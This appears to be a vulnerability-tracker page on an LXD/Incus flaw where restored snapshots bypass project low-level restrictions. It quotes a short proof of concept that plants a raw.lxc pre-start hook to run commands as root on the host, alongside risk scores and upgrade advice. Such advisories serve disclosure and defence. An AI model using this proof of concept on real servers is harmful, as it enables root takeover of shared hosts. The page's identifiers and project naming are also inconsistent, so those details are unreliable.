- Exploited
- No known exploitation
- Fix
- Fixed in 0.0.0-20260630083100-c5184be310b1
- Who is exposed
- Not reported
Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
- Last modified
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 19/100 · provisional
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- Critical (ghsa)
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
LXD, the container and virtual machine manager (here through its Incus fork), has a flaw where instance snapshots ignore the restricted.containers.lowlevel=block setting, letting a malicious actor run arbitrary commands on the server with root privileges. The attacker can do this by moving a crafted instance and snapshot into a restricted project and restoring it, which bypasses the project restrictions.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
Read the original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxcImpact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
cve.now Index
- Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
- Exposure?/25Unknown. No advisory context yet
- Reach10/20Affects Go packages
- Severity9/10Rated critical by ghsa
- No patch0/5No signal
What would change the score
- Would score about 74 if added to CISA KEV
- Would score about 69 if CISA's SSVC rates exploitation active
- Would score about 41 if advisories confirm default setups are exposed
What to do
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/canonical/lxdGo
fixed in 0.0.0-20260630083100-c5184be310b1
Evidence 10
- Advisory
- Advisory
- Advisory
- Repository
- Repository
Show all 10 sourcesShow fewer sources
- Repository
- Repository
- Repository
- Repository
- Repository
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about GHSA-47W9-6R3F-938G
Is GHSA-47W9-6R3F-938G being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data
Which versions are affected by GHSA-47W9-6R3F-938G?
github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data
How do I fix GHSA-47W9-6R3F-938G?
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data